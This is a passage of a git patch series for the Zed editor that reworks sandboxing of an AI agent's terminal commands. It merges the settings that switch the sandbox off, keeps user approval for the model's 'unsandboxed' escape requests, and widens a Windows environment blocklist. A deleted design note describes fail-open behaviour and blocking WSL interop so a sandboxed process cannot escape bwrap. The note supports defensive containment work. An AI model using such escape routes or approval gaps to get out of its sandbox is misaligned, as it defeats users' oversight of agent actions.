+        && !AgentSettings::get_global(cx)
+            .sandbox_permissions
+            .allow_unsandboxed
         && cfg!(any(
             target_os = "macos",
             target_os = "linux",
@@ -152,7 +169,14 @@ impl ThreadSandboxGrants {
         persistent: &SandboxPermissions,
     ) -> bool {
         if request.unsandboxed {
-            return self.unsandboxed || persistent.allow_unsandboxed;
+            // The persistent `allow_unsandboxed` setting is intentionally not
+            // consulted here: when it's set, sandboxing is removed from the
+            // model-facing surface (the plain `terminal` tool is exposed
+            // instead of the sandboxed one), so the model can't issue an
+            // `unsandboxed: true` request at all. Only a "for this thread"
+            // grant suppresses the re-prompt while the sandboxed tool is
+            // active — see `sandboxing_enabled_for_project`.
+            return self.unsandboxed;
         }
         if !self.network_covered(&request.network, persistent) {
             return false;
@@ -572,21 +596,34 @@ mod tests {
     }
 
     #[test]
-    fn persistent_unsandboxed_covers_unsandboxed_requests_only() {
+    fn thread_grant_covers_unsandboxed_requests() {
+        // A "for this thread" grant suppresses the re-prompt for later
+        // `unsandboxed: true` requests within the same thread.
+        let mut grants = ThreadSandboxGrants::default();
+        assert!(!covers(&grants, &unsandboxed_request()));
+        grants.record(&unsandboxed_request());
+        assert!(covers(&grants, &unsandboxed_request()));
+
+        // A thread-wide unsandboxed grant only covers unsandboxed requests; it
+        // does not widen network or filesystem scope.
+        assert!(!covers(
+            &grants,
+            &request(NetworkRequest::AnyHost, false, &[])
+        ));
+        assert!(!covers(&grants, &request(NetworkRequest::None, true, &[])));
+    }
+
+    #[test]
+    fn persistent_allow_unsandboxed_does_not_cover_here() {
+        // The persistent setting is handled by removing the sandboxed tool (see
+        // `sandboxing_enabled_for_project`), not by covering requests, so on
+        // its own it never makes an `unsandboxed: true` request "covered".
         let grants = ThreadSandboxGrants::default();
         let persistent = SandboxPermissions {
             allow_unsandboxed: true,
             ..Default::default()
         };
-
-        assert!(grants.covers_with_persistent(&unsandboxed_request(), &persistent));
-        assert!(
-            !grants
-                .covers_with_persistent(&request(NetworkRequest::AnyHost, false, &[]), &persistent)
-        );
-        assert!(
-            !grants.covers_with_persistent(&request(NetworkRequest::None, true, &[]), &persistent)
-        );
+        assert!(!grants.covers_with_persistent(&unsandboxed_request(), &persistent));
     }
 
     #[test]
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 0de7df5251af61..93706a10d8367e 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -289,7 +289,7 @@ fn always_allow_tools(cx: &mut TestAppContext) {
 fn disable_sandboxing(cx: &mut TestAppContext) {
     cx.update(|cx| {
         let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
-        settings.sandbox_permissions.disabled = true;
+        settings.sandbox_permissions.allow_unsandboxed = true;
         agent_settings::AgentSettings::override_global(settings, cx);
     });
 }
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index cbd2b9a2e1c859..f0045aa479c114 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -5729,8 +5729,10 @@ impl ToolCallEventStream {
         })
     }
 
-    /// Persist the `allow_unsandboxed` setting so future commands skip the
-    /// sandbox when it can't be created, without prompting again.
+    /// Persist the `allow_unsandboxed` setting. Going forward this turns
+    /// sandboxing off for the model-facing surface: later turns expose the
+    /// plain `terminal` tool (with no sandbox prompt section) and commands run
+    /// without an OS sandbox. On Windows, WSL sandbox setup is skipped.
     #[cfg(any(target_os = "linux", target_os = "windows"))]
     fn persist_sandbox_unsandboxed_permission(fs: Option<Arc<dyn Fs>>, cx: &AsyncApp) {
         let Some(fs) = fs else {
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 61c0ee47cc5c62..5590a524824401 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -115,11 +115,11 @@ pub struct SandboxedTerminalToolInput {
         `https://` URLs rather than `git@`/`ssh://`."
     )]
     #[cfg_attr(
-        target_os = "linux",
-        doc = "\nNOTE: on Linux the sandbox cannot restrict network access to specific \
-        hosts. Any value here grants the command unrestricted outbound network access \
-        (exactly like `allow_all_hosts`), and the user is asked to approve access to \
-        all hosts rather than the ones you list. Prefer setting `allow_all_hosts` \
+        any(target_os = "linux", target_os = "windows"),
+        doc = "\nNOTE: on Linux and Windows the sandbox cannot restrict network access to \
+        specific hosts. Any value here grants the command unrestricted outbound network \
+        access (exactly like `allow_all_hosts`), and the user is asked to approve access \
+        to all hosts rather than the ones you list. Prefer setting `allow_all_hosts` \
         directly when per-host restriction isn't available."
     )]
     #[serde(default)]
@@ -168,6 +168,15 @@ pub struct SandboxedTerminalToolInput {
     /// `allow_fs_write_all`); use this only when the command needs behavior
     /// the sandbox can't grant on a per-permission basis. Requesting it
     /// triggers a user approval prompt.
+    #[cfg_attr(
+        target_os = "windows",
+        doc = "\nOn Windows, running unsandboxed also switches the shell. Sandboxed \
+        commands run under WSL's Linux bash; an unsandboxed command instead runs in the \
+        host's default shell — Git Bash (or scoop's bash) when one is installed, otherwise \
+        PowerShell/cmd. Path conventions change accordingly (e.g. `C:\\...` or `/c/...` \
+        rather than WSL's `/mnt/c/...`), so a command written for the sandboxed shell may \
+        behave differently here."
+    )]
     #[serde(default)]
     pub unsandboxed: Option<bool>,
     /// A short justification for why this command needs the sandbox
@@ -474,6 +483,13 @@ async fn run_terminal_tool(
     // create the sandbox it aborts. As the consumer we may still run the command
     // without a sandbox (when the user has opted into that), but we record
     // *why* in `sandbox_not_applied` so we can warn the user and tell the agent.
+    // Only the Linux/Windows sandbox-creation fallbacks (and the matching
+    // "for this thread" grant) ever reassign this, so on other platforms the
+    // binding stays `None` and wouldn't need `mut`.
+    #[cfg_attr(
+        not(any(target_os = "linux", target_os = "windows")),
+        allow(unused_mut)
+    )]
     let mut sandbox_not_applied: Option<acp_thread::SandboxNotAppliedReason> = None;
     let sandbox_wrap = if sandboxing && !want_unsandboxed {
         let sandbox_permissions = cx.update(|cx| {
@@ -482,13 +498,7 @@ async fn run_terminal_tool(
                 .clone()
         });
 
-        if sandbox_permissions.allow_unsandboxed {
-            // Unsandboxed execution is permanently allowed in settings: skip
-            // the sandbox machinery entirely and run the command the same way
-            // the unsandboxed terminal tool does.
-            sandbox_not_applied = Some(acp_thread::SandboxNotAppliedReason::DisabledForever);
-            None
-        } else if event_stream.sandbox_fallback_granted_for_thread() {
+        if event_stream.sandbox_fallback_granted_for_thread() {
             // The user allowed unsandboxed execution for the rest of this
             // thread after an earlier sandbox failure (Linux and Windows, which
             // share the `authorize_sandbox_fallback` flow).
@@ -698,22 +708,41 @@ async fn run_terminal_tool(
     // chose to run through), tell the agent so it can account for the weaker
     // isolation. Computed here — after the Windows fallback above may have set
     // the reason — so every affected command communicates the state.
-    let sandbox_note = sandbox_not_applied.as_ref().map(|reason| match reason {
-        acp_thread::SandboxNotAppliedReason::DisabledForever => {
-            "Note: this command ran WITHOUT an OS sandbox because unsandboxed execution is \
-             enabled in settings."
-                .to_string()
-        }
-        acp_thread::SandboxNotAppliedReason::DisabledForThisThread => {
-            "Note: this command ran WITHOUT an OS sandbox because you allowed unsandboxed \
-             execution for the rest of this thread."
-                .to_string()
+    let sandbox_note = sandbox_not_applied.as_ref().map(|reason| {
+        // Only the Windows-specific block below mutates this; on other
+        // platforms the note is returned exactly as built.
+        #[cfg_attr(not(target_os = "windows"), allow(unused_mut))]
+        let mut note = match reason {
+            acp_thread::SandboxNotAppliedReason::DisabledForThisThread => {
+                "Note: this command ran WITHOUT an OS sandbox because the user allowed unsandboxed \
+                 execution for the rest of this thread."
+                    .to_string()
+            }
+            acp_thread::SandboxNotAppliedReason::ErrorLinuxWsl(error) => format!(
+                "Note: this command ran WITHOUT an OS sandbox because one could not be \
+                 created ({}).",
+                error.user_facing_message()
+            ),
+        };
+        // On Windows, running without a sandbox also changes the interpreter:
+        // the sandboxed path runs the command under WSL's Linux shell, but
+        // every unsandboxed path that reaches here falls back to the host
+        // shell (Git Bash, or PowerShell/cmd when no bash is installed) against
+        // native Windows paths. The model writes commands for the WSL/Linux
+        // sandbox, so the loss of isolation isn't the whole story — warn it
+        // that the shell and path conventions differ too, or a command that
+        // worked sandboxed may silently misbehave or fail here.
+        #[cfg(target_os = "windows")]
+        {
+            note.push(' ');
+            note.push_str(
+                "It also ran under the host shell (Git Bash, or PowerShell/cmd when no bash is \
+                 installed) instead of WSL's Linux shell, so the interpreter and path \
+                 conventions differ from the sandbox: Linux-only commands and `/mnt/...` paths \
+                 may fail. Rewrite the command for the host shell if it doesn't work.",
+            );
         }
-        acp_thread::SandboxNotAppliedReason::ErrorLinuxWsl(error) => format!(
-            "Note: I tried to run this command inside an OS sandbox, but it could not be \
-             created ({}). It ran WITHOUT a sandbox.",
-            error.user_facing_message()
-        ),
+        note
     });
 
     let terminal_id = terminal.id(cx).map_err(|e| e.to_string())?;
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index 4288006d7a1c5b..90bec4464007cc 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -422,12 +422,14 @@ pub struct SandboxPermissions {
     /// consumed (`agent::sandboxing`).
     pub network_hosts: Vec<String>,
     pub allow_fs_write_all: bool,
-    /// Auto-approve commands that request `unsandboxed: true`. Unlike
-    /// `disabled`, the sandbox stays on for commands that don't ask.
+    /// Persistently run agent terminal commands outside the OS sandbox. This is
+    /// the model-facing "off switch": when set, the sandboxed terminal tool is
+    /// not exposed and the system prompt omits the sandbox section, so the
+    /// model uses the plain `terminal` tool (on Windows, WSL sandbox setup is
+    /// skipped). Distinct from the model-requested `unsandboxed: true` escape
+    /// approved "once" or "for this thread", which keeps the sandboxed
+    /// tool/prompt in place — see `agent::sandboxing`.
     pub allow_unsandboxed: bool,
-    /// Turn terminal sandboxing off entirely: the sandboxed terminal tool is
-    /// not exposed and every command runs outside the sandbox.
-    pub disabled: bool,
     pub write_paths: Vec<PathBuf>,
 }
 
@@ -814,7 +816,6 @@ fn compile_sandbox_permissions(
         network_hosts,
         allow_fs_write_all: content.allow_fs_write_all.unwrap_or(false),
         allow_unsandboxed: content.allow_unsandboxed.unwrap_or(false),
-        disabled: content.disabled.unwrap_or(false),
         write_paths,
     }
 }
@@ -1118,9 +1119,6 @@ mod tests {
         );
         assert!(!permissions.allow_fs_write_all);
         assert!(permissions.allow_unsandboxed);
-        // `allow_unsandboxed` is a per-request grant; it must not imply that
-        // sandboxing is disabled.
-        assert!(!permissions.disabled);
         assert_eq!(
             permissions.write_paths,
             vec![PathBuf::from("/tmp/build"), PathBuf::from("/var/log")]
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 118ceeb325f40e..0c77d89a8166cd 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -7211,7 +7211,7 @@ impl ThreadView {
                     .child(command_element),
             )
             .when_some(tool_call.sandbox_not_applied.as_ref(), |this, reason| {
-                this.child(self.render_sandbox_not_applied_warning(reason, terminal, cx))
+                this.child(self.render_sandbox_not_applied_warning(reason, cx))
             })
             .when(is_expanded && terminal_view.is_some(), |this| {
                 this.child(
@@ -7265,45 +7265,36 @@ impl ThreadView {
     fn render_sandbox_not_applied_warning(
         &self,
         reason: &SandboxNotAppliedReason,
-        terminal: &Entity<acp_thread::Terminal>,
         cx: &Context<Self>,
     ) -> AnyElement {
-        // (title, optional detail line, whether to offer the settings shortcut)
-        let (title, detail, show_settings_button): (SharedString, Option<SharedString>, bool) =
-            match reason {
-                SandboxNotAppliedReason::DisabledForever => (
-                    "Ran without sandbox".into(),
-                    Some("Unsandboxed execution is enabled in settings.".into()),
-                    true,
-                ),
-                SandboxNotAppliedReason::ErrorLinuxWsl(error) => (
-                    "Couldn't create a sandbox".into(),
-                    Some(error.user_facing_message().into()),
-                    false,
-                ),
-                SandboxNotAppliedReason::DisabledForThisThread => {
-                    // The grant only exists because an earlier command failed to
-                    // create a sandbox; surface that same explanation here.
-                    let detail = self
-                        .find_thread_sandbox_error(cx)
-                        .map(|error| {
-                            SharedString::from(format!(
-                                "Allowed for this thread after the sandbox failed: {}",
-                                error.user_facing_message()
-                            ))
-                        })
-                        .unwrap_or_else(|| {
-                            "Unsandboxed execution is allowed for the rest of this thread.".into()
-                        });
-                    ("Ran without sandbox".into(), Some(detail), false)
-                }
-            };
+        // (title, optional detail line)
+        let (title, detail): (SharedString, Option<SharedString>) = match reason {
+            SandboxNotAppliedReason::ErrorLinuxWsl(error) => (
+                "Couldn't create a sandbox".into(),
+                Some(error.user_facing_message().into()),
+            ),
+            SandboxNotAppliedReason::DisabledForThisThread => {
+                // The grant only exists because an earlier command failed to
+                // create a sandbox; surface that same explanation here.
+                let detail = self
+                    .find_thread_sandbox_error(cx)
+                    .map(|error| {
+                        SharedString::from(format!(
+                            "Allowed for this thread after the sandbox failed: {}",
+                            error.user_facing_message()
+                        ))
+                    })
+                    .unwrap_or_else(|| {
+                        "Unsandboxed execution is allowed for the rest of this thread.".into()
+                    });
+                ("Ran without sandbox".into(), Some(detail))
+            }
+        };
 
         h_flex()
             .px_2()
             .py_1()
             .gap_1()
-            .justify_between()
             .border_t_1()
             .border_color(cx.theme().status().warning_border)
             .bg(cx.theme().status().warning_background.opacity(0.5))
@@ -7332,29 +7323,6 @@ impl ThreadView {
                             }),
                     ),
             )
-            .when(show_settings_button, |this| {
-                this.child(
-                    IconButton::new(
-                        SharedString::from(format!(
-                            "open-sandbox-setting-{}",
-                            terminal.entity_id()
-                        )),
-                        IconName::Settings,
-                    )
-                    .icon_size(IconSize::XSmall)
-                    .icon_color(Color::Muted)
-                    .tooltip(Tooltip::text("Open the sandbox permission settings"))
-                    .on_click(|_event, window, cx| {
-                        window.dispatch_action(
-                            Box::new(zed_actions::OpenSettingsAt {
-                                path: zed_actions::AGENT_SANDBOX_SETTINGS_PATH.to_string(),
-                                target: None,
-                            }),
-                            cx,
-                        );
-                    }),
-                )
-            })
             .into_any_element()
     }
 
diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index eefee912b71435..50beab807a626f 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -777,18 +777,76 @@ fn build_bwrap_args<S: std::hash::BuildHasher>(
 /// ...) Windows keeps in the environment block — so they must be skipped or
 /// bwrap aborts with "setenv failed".
 ///
-/// Beyond that, a few variables hold Windows-specific values that would be
-/// meaningless or actively break the command inside WSL: `PATH` would shadow
-/// WSL's own `PATH` and stop the shell from finding Linux executables, the
-/// temp-dir variables point at Windows paths that don't exist in WSL (bwrap
-/// provides a fresh tmpfs `/tmp` instead), and WSL interop variables would
-/// undermine the explicit interop block above. Matched case-insensitively
-/// because Windows environment variable names are.
+/// Beyond that, many variables hold Windows-specific values that would be
+/// meaningless or actively break the command inside WSL, so they are dropped
+/// rather than forwarded: `PATH`/`PATHEXT` would shadow WSL's own `PATH` and
+/// stop the shell from finding Linux executables, the temp-dir variables point
+/// at Windows paths that don't exist in WSL (bwrap provides a fresh tmpfs
+/// `/tmp` instead), the WSL interop variables would undermine the explicit
+/// interop block above, a Windows-set `HOME` would clobber the distro's own
+/// `$HOME` and break the shell, and the rest are Windows system locations,
+/// shell settings, host/session identity, and CPU descriptors that are either
+/// wrong or misleading inside Linux. This is a blocklist rather than an allowlist so
+/// genuinely portable variables (e.g. `LANG`, `CARGO_TERM_COLOR`, `PAGER`)
+/// still reach the command; it only needs to cover the variables Windows
+/// populates by default. Matched case-insensitively because Windows
+/// environment variable names are.
 fn is_forwardable_env_var(name: &str) -> bool {
     if name.is_empty() || name.contains('=') {
         return false;
     }
-    const BLOCKED: [&str; 6] = ["PATH", "TMPDIR", "TMP", "TEMP", "WSL_INTEROP", "WSLENV"];
+    const BLOCKED: &[&str] = &[
+        // Shadow or break the Linux process environment.
+        "PATH",
+        "PATHEXT",
+        "TMPDIR",
+        "TMP",
+        "TEMP",
+        // Would undermine the explicit WSL interop block above.
+        "WSL_INTEROP",
+        "WSLENV",
+        // Windows system locations and shell, meaningless inside Linux.
+        "OS",
+        "COMSPEC",
+        "WINDIR",
+        "SYSTEMROOT",
+        "SYSTEMDRIVE",
+        // When Windows has `HOME` set (e.g. for git), it's a Windows path that
+        // would clobber the distro's correct Linux `$HOME` and break the shell.
+        "HOME",
+        "HOMEDRIVE",
+        "HOMEPATH",
+        "HOMESHARE",
+        "USERPROFILE",
+        "PUBLIC",
+        "ALLUSERSPROFILE",
+        "APPDATA",
+        "LOCALAPPDATA",
+        "PROGRAMDATA",
+        "PROGRAMFILES",
+        "PROGRAMFILES(X86)",
+        "PROGRAMW6432",
+        "COMMONPROGRAMFILES",
+        "COMMONPROGRAMFILES(X86)",
+        "COMMONPROGRAMW6432",
+        "PSMODULEPATH",
+        "DRIVERDATA",
+        "ONEDRIVE",
+        // Windows host/session identity, misleading inside Linux.
+        "COMPUTERNAME",
+        "USERNAME",
+        "USERDOMAIN",
+        "USERDOMAIN_ROAMINGPROFILE",
+        "LOGONSERVER",
+        "SESSIONNAME",
+        // Windows CPU descriptors.
+        "NUMBER_OF_PROCESSORS",
+        "PROCESSOR_ARCHITECTURE",
+        "PROCESSOR_ARCHITEW6432",
+        "PROCESSOR_IDENTIFIER",
+        "PROCESSOR_LEVEL",
+        "PROCESSOR_REVISION",
+    ];
     !BLOCKED
         .iter()
         .any(|blocked| name.eq_ignore_ascii_case(blocked))
@@ -1224,9 +1282,12 @@ mod tests {
     fn bwrap_does_not_forward_windows_specific_env() {
         // These hold Windows paths/values that would break or be meaningless
         // inside WSL, so they must never cross the boundary. Names are matched
-        // case-insensitively, as Windows env var names are.
+        // case-insensitively, as Windows env var names are. `(x86)` variants
+        // contain parentheses but no `=`, so they'd pass the `setenv` filter
+        // and must be blocked by name.
         let env = HashMap::from([
             ("Path".to_string(), r"C:\Windows\System32".to_string()),
+            ("PATHEXT".to_string(), ".COM;.EXE;.BAT".to_string()),
             (
                 "TEMP".to_string(),
                 r"C:\Users\me\AppData\Local\Temp".to_string(),
@@ -1236,11 +1297,61 @@ mod tests {
                 r"C:\Users\me\AppData\Local\Temp".to_string(),
             ),
             ("TMPDIR".to_string(), r"C:\tmp".to_string()),
+            ("OS".to_string(), "Windows_NT".to_string()),
+            (
+                "ComSpec".to_string(),
+                r"C:\Windows\system32\cmd.exe".to_string(),
+            ),
+            ("windir".to_string(), r"C:\Windows".to_string()),
+            ("SystemRoot".to_string(), r"C:\Windows".to_string()),
+            ("HOME".to_string(), r"C:\Users\me".to_string()),
+            ("USERPROFILE".to_string(), r"C:\Users\me".to_string()),
+            (
+                "APPDATA".to_string(),
+                r"C:\Users\me\AppData\Roaming".to_string(),
+            ),
+            (
+                "LOCALAPPDATA".to_string(),
+                r"C:\Users\me\AppData\Local".to_string(),
+            ),
+            (
+                "ProgramFiles(x86)".to_string(),
+                r"C:\Program Files (x86)".to_string(),
+            ),
+            ("USERNAME".to_string(), "me".to_string()),
+            ("COMPUTERNAME".to_string(), "DESKTOP-ABC".to_string()),
+            ("PROCESSOR_ARCHITECTURE".to_string(), "AMD64".to_string()),
+            ("NUMBER_OF_PROCESSORS".to_string(), "16".to_string()),
         ]);
         let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
         assert!(!args.iter().any(|arg| arg == "--setenv"));
     }
 
+    #[test]
+    fn bwrap_forwards_portable_env_alongside_windows_specific_env() {
+        // A blocklist (not an allowlist) means genuinely portable variables
+        // still reach the command even when Windows-only ones are present.
+        let env = HashMap::from([
+            ("USERPROFILE".to_string(), r"C:\Users\me".to_string()),
+            ("LANG".to_string(), "en_US.UTF-8".to_string()),
+            ("CARGO_TERM_COLOR".to_string(), "always".to_string()),
+        ]);
+        let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
+        assert!(
+            args.windows(3)
+                .any(|window| window == ["--setenv", "LANG", "en_US.UTF-8"])
+        );
+        assert!(
+            args.windows(3)
+                .any(|window| window == ["--setenv", "CARGO_TERM_COLOR", "always"])
+        );
+        assert!(!args.windows(3).any(|window| {
+            matches!(window, [flag, name, _]
+                if flag.as_str() == "--setenv"
+                    && name.eq_ignore_ascii_case("USERPROFILE"))
+        }));
+    }
+
     #[test]
     fn bwrap_skips_env_names_setenv_would_reject() {
         // bwrap's `--setenv` calls `setenv(3)`, which rejects empty names and
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index 44ca78eddb4755..1ad5d7a7660fea 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -487,10 +487,6 @@ impl AgentSettingsContent {
             .allow_unsandboxed = Some(true);
     }
 
-    pub fn disable_sandbox(&mut self) {
-        self.sandbox_permissions.get_or_insert_default().disabled = Some(true);
-    }
-
     pub fn add_sandbox_write_path(&mut self, path: PathBuf) {
         let write_paths = &mut self
             .sandbox_permissions
@@ -748,16 +744,15 @@ pub struct SandboxPermissionsContent {
     /// Default: false
     pub allow_fs_write_all: Option<bool>,
 
-    /// Whether terminal commands may always run outside the sandbox without
-    /// prompting when they request `unsandboxed: true`.
+    /// Whether to persistently run agent terminal commands outside the OS
+    /// sandbox. This is the model-facing "off switch": when true, the sandboxed
+    /// terminal tool is not exposed and the system prompt omits the sandbox
+    /// section, so the model uses the plain `terminal` tool. On Windows, WSL
+    /// sandbox setup is skipped. Distinct from the model-requested
+    /// `unsandboxed: true` escape approved "once" or "for this thread".
     /// Default: false
     pub allow_unsandboxed: Option<bool>,
 
-    /// Whether terminal sandboxing is turned off entirely, so agent terminal
-    /// commands always run outside the sandbox.
-    /// Default: false
-    pub disabled: Option<bool>,
-
     /// Directory subtrees that sandboxed terminal commands may always write
     /// to without prompting. Paths written by Zed are absolute.
     /// Default: []
@@ -1045,7 +1040,6 @@ mod tests {
         );
         settings.allow_sandbox_fs_write_all();
         settings.allow_sandbox_unsandboxed();
-        settings.disable_sandbox();
         settings.add_sandbox_write_path(PathBuf::from("/tmp/build"));
 
         let sandbox_permissions = settings.sandbox_permissions.as_ref().unwrap();
@@ -1061,7 +1055,6 @@ mod tests {
         );
         assert_eq!(sandbox_permissions.allow_fs_write_all, Some(true));
         assert_eq!(sandbox_permissions.allow_unsandboxed, Some(true));
-        assert_eq!(sandbox_permissions.disabled, Some(true));
         assert_eq!(
             sandbox_permissions
                 .write_paths
diff --git a/crates/settings_ui/src/pages/sandbox_settings.rs b/crates/settings_ui/src/pages/sandbox_settings.rs
index 02ef0183a6272d..eb86182ef365e3 100644
--- a/crates/settings_ui/src/pages/sandbox_settings.rs
+++ b/crates/settings_ui/src/pages/sandbox_settings.rs
@@ -50,7 +50,7 @@ pub(crate) fn render_sandbox_settings_page(
     let add_path_input = render_add_path_input(cx);
 
     let empty_border = cx.theme().colors().border_variant;
-    let sandbox_enabled = !permissions.disabled;
+    let sandbox_enabled = !permissions.allow_unsandboxed;
 
     v_flex()
         .id("sandbox-settings-page")
@@ -155,27 +155,7 @@ pub(crate) fn render_sandbox_settings_page(
                     empty_border,
                 )),
         )
-        .child(Divider::horizontal())
-        .child(
-            v_flex()
-                .gap_3()
-                .child(SettingsSectionHeader::new("Sandbox").no_padding(true))
-                .child(
-                    SwitchField::new(
-                        "sandbox-allow-unsandboxed",
-                        Some("Allow Unsandboxed Terminal Commands"),
-                        Some(
-                            "Run terminal commands without the OS sandbox."
-                                .into(),
-                        ),
-                        permissions.allow_unsandboxed,
-                        move |state, _window, cx| {
-                            set_allow_unsandboxed(*state == ToggleState::Selected, cx);
-                        },
-                    )
-                    .tab_index(0),
-                ),
-        ))
+        )
         .into_any_element()
 }
 
@@ -430,9 +410,9 @@ fn update_sandbox_permissions(
 
 fn set_sandbox_enabled(value: bool, cx: &mut App) {
     // The UI presents an "enabled" switch, but the stored setting is the
-    // inverse (`disabled`).
+    // inverse (`allow_unsandboxed`).
     update_sandbox_permissions(cx, move |permissions| {
-        permissions.disabled = Some(!value);
+        permissions.allow_unsandboxed = Some(!value);
     });
 }
 
@@ -448,12 +428,6 @@ fn set_allow_fs_write_all(value: bool, cx: &mut App) {
     });
 }
 
-fn set_allow_unsandboxed(value: bool, cx: &mut App) {
-    update_sandbox_permissions(cx, move |permissions| {
-        permissions.allow_unsandboxed = Some(value);
-    });
-}
-
 fn add_network_host(host: String, cx: &mut App) {
     update_sandbox_permissions(cx, move |permissions| {
         let hosts = &mut permissions.network_hosts.get_or_insert_default().0;
diff --git a/sandbox-bubblewrap-next-steps.md b/sandbox-bubblewrap-next-steps.md
deleted file mode 100644
index b48203f21ee7de..00000000000000
--- a/sandbox-bubblewrap-next-steps.md
+++ /dev/null
@@ -1,83 +0,0 @@
-# Bubblewrap sandbox — remaining work
-
-Status of the Landlock → bwrap migration and what's left. Concise by
-intent; see `sandbox-bubblewrap-migration.md` for the original rationale.
-
-## Done
-
-- Landlock removed (code, dep, `Cargo.lock`).
-- `linux_bubblewrap`: locate + setuid rejection, `build_bwrap_args` (incl.
-  `--tmpfs /tmp`), launcher (`run_launcher_if_invoked`, encode/decode), unit
-  tests.
-- `apply_sandbox_wrap` wired to bwrap; `main.rs` hook.
-- Linux: no special `$TMPDIR` (relies on tmpfs `/tmp`); prompt updated.
-- **Network deny via `bwrap --unshare-net`.** The current policy is a coarse
-  on/off, which `bwrap`'s own network namespace expresses directly — no
-  seccomp, `NO_NEW_PRIVS`, or `seccompiler` dependency. Tradeoff: a
-  network-denied command can't reach *abstract* `AF_UNIX` endpoints (D-Bus
-  etc.); pathname unix sockets still work. Seccomp returns only when we need a
-  finer policy (allow-list/egress proxy).
-- **Thick launcher + status reporting (was §1).** All sandbox work
-  (locate/probe) lives in the launcher — check and run are one process, no
-  parent/launcher TOCTOU. The launcher reports a `LauncherStatus` as a one-shot
-  datagram (`SOCK_DGRAM`) over an abstract `AF_UNIX` socket (`StatusChannel`)
-  whose address is passed in argv. Statuses:
-  `Success | BwrapNotFound | SetuidRejected | SandboxProbeFailed`. The probe
-  runs `bwrap <real args> -- true`, so it validates the *exact* policy we're
-  about to use.
-  - The launcher never runs a command unsandboxed: on any non-`Success`
-    outcome it reports the reason and **aborts**. Choosing what to do about a
-    failure is the *consumer's* job:
-    - The agent (`run_terminal_tool`) **fails open** for now — it checks
-      `SandboxWrap::can_create_sandbox` up front and, if the sandbox can't be
-      created, runs the command without one and prepends a note for the model
-      ("failed to create the sandbox … ran without a sandbox"). No UI yet; see
-      "UI tiers" below.
-    - The NixOS tests **fail closed** — they assert the reported status and that
-      the command did *not* run.
-- **`apply_sandbox_wrap` rework (was §2).** Parent passes raw policy (socket,
-  permissions, cwd, writable dirs, program, args) to the launcher and listens
-  on the channel in a background thread (diagnostic only now). Parent-side
-  `locate_bwrap`/`is_available` + their `OnceLock` caches deleted; the up-front
-  viability check is `linux_bubblewrap::check_can_create_sandbox`.
-- **NixOS tests (was §5).** Landlock kernel matrix replaced by three scenarios
-  (`sandbox-userns-enabled`, `sandbox-userns-disabled`, `sandbox-no-bwrap`) under
-  `nix/tests/sandboxing`. New `bwrap_test_helper` bin (sandbox crate,
-  `nixos-test` feature) drives the real launcher and reads the status; an
-  enforcement probe **skips** (not fails) when the VM can't enforce. Checks
-  wired into the flake (`packages.nix`); xtask prefix is now `sandbox-`.
-- **Windows WSL behavior tests.** Parity with the NixOS bwrap tests for the
-  Windows WSL sandbox (`windows_wsl`). New `wsl_sandbox_test_helper` bin (sandbox
-  crate, `wsl-test` feature) drives the real `wrap_invocation`, spawns the
-  produced `wsl.exe` command, and asserts the same grants/restrictions hold
-  end-to-end (writable binds land on host, reads allowed, `/tmp` ephemeral,
-  network on/off, fs-write escape hatch) plus the Windows-specific ones: a
-  native `C:\` writable path is translated and bound, and **WSL interop is
-  blocked** so a sandboxed process can't exec a Windows binary to escape bwrap.
-  Core FS checks run against the WSL rootfs (robust regardless of how drvfs
-  `/mnt` submounts behave under the recursive root bind). Like the Linux helper
-  it **skips** when the environment can't enforce; set
-  `ZED_TEST_SANDBOX_REQUIRE_ENFORCED=1` to turn that into a failure. Run with
-  `cargo xtask wsl-sandbox-tests` or `script/test-wsl-sandbox.ps1` (the latter
-  provisions `bubblewrap` + unprivileged user namespaces in the default distro
-  first). Not wired into CI — matching the NixOS tests, which aren't either.
-  Degraded scenarios (no bwrap / userns disabled) have no boot-level toggle in
-  WSL, so that coverage stays at the unit level (probe parsing + the
-  bad-request-vs-unavailable error classification, also re-checked end-to-end).
-
-## Remaining
-
-### 1. UI tiers
-
-- `Success` → sandboxed, no warning.
-- Any failure → surface the reason and offer **Run unsandboxed / Deny**
-  (unidirectional: on "run unsandboxed" the parent re-spawns a normal terminal;
-  the launcher never blocks for a decision).
-- Orange "unsandboxed" indicator on terminals that ran without the sandbox.
-
-### 2. Bundled bwrap
-
-`bundled_bwrap_path()` is a `None` stub, so today sandboxing needs a system
-`bwrap`. Build a static musl, non-setuid `bwrap` (Nix `pkgsStatic`,
-`-Dselinux=disabled`) per arch, bundle it, ship LGPL source/notice. Open: bundle
-vs download.

From 131ff63ce5c18b279dee698613bc99461909baad Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 22 Jun 2026 16:22:15 -0500
Subject: [PATCH 045/772] edit_prediction: Remove diagnostic-triggered jumps
 (#59724)

# Objective

- Simplify edit prediction jumps enough to re-enable the staff flag.
- Defer diagnostic-triggered jump refreshes until we know we need them.

## Solution

- Remove the diagnostic refresh trigger path and its supporting state.
- Keep jumps driven by ordinary prediction requests only.

## Testing

- Not run.

